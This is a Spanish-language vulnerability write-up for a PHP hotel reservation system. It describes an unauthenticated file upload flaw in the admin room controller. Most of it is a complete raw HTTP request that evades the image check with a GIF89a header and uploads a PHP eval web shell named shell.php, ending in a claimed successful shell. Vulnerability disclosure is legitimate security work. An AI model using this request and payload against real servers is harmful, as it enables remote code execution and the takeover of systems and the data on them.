
Online Hotel Reservation System en PHP/MySQLi con Código Fuente | SourceCodester
Se encontró una vulnerabilidad de alto riesgo en Online Hotel Reservation System, que afecta a la función de carga del archivo /marimar/admin/mod_room/controller.php. La operación de evasión de la detección del parámetro de imagen resultó en una carga de archivos ilimitada. Los ataques pueden lanzarse de forma remota.
marimar\admin\mod_room\controller.php

Después de que se sube el archivo, la variable $image_name cambia el nombre del archivo al año, mes y día actuales, y luego añade _ y el nombre del archivo subido
La vulnerabilidad reside en la variable $image_size, que detecta si se trata de un archivo de imagen y, de lo contrario, deshabilita la carga. Así que todo lo que tenemos que hacer es añadir la cabecera de la imagen delante del archivo malicioso inyectado para evadir la detección
POST http://localhost/marimar/admin/mod_room/controller.php?action=add HTTP/1.1
Host:
Content-Length: 895
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAQkzg4xV416LmyFO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.151.167.168/marimar/admin/mod_room/index.php?view=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=
Connection: keep-alive
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOM"
test
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ACCOMID"
12
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMDESC"
123123
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="NUMPERSON"
4
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="PRICE"
112
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMNUM"
1
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: image/png
GIF89a
<?php eval($_POST['k1nako']);?>
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="save"
------WebKitFormBoundaryAQkzg4xV416LmyFO--
El código malicioso fue precedido por GIF89a disfrazado como un gif. Construya el paquete de carga y podrá ver que la cookie se elimina, lo que indica que el sistema no tiene autenticación y puede lanzar ataques de forma remota

Aunque fue una advertencia, el archivo se subió correctamente, y el nombre del archivo se dedujo basándose en la hora actual del 2024/10/25 21:55


getshell exitoso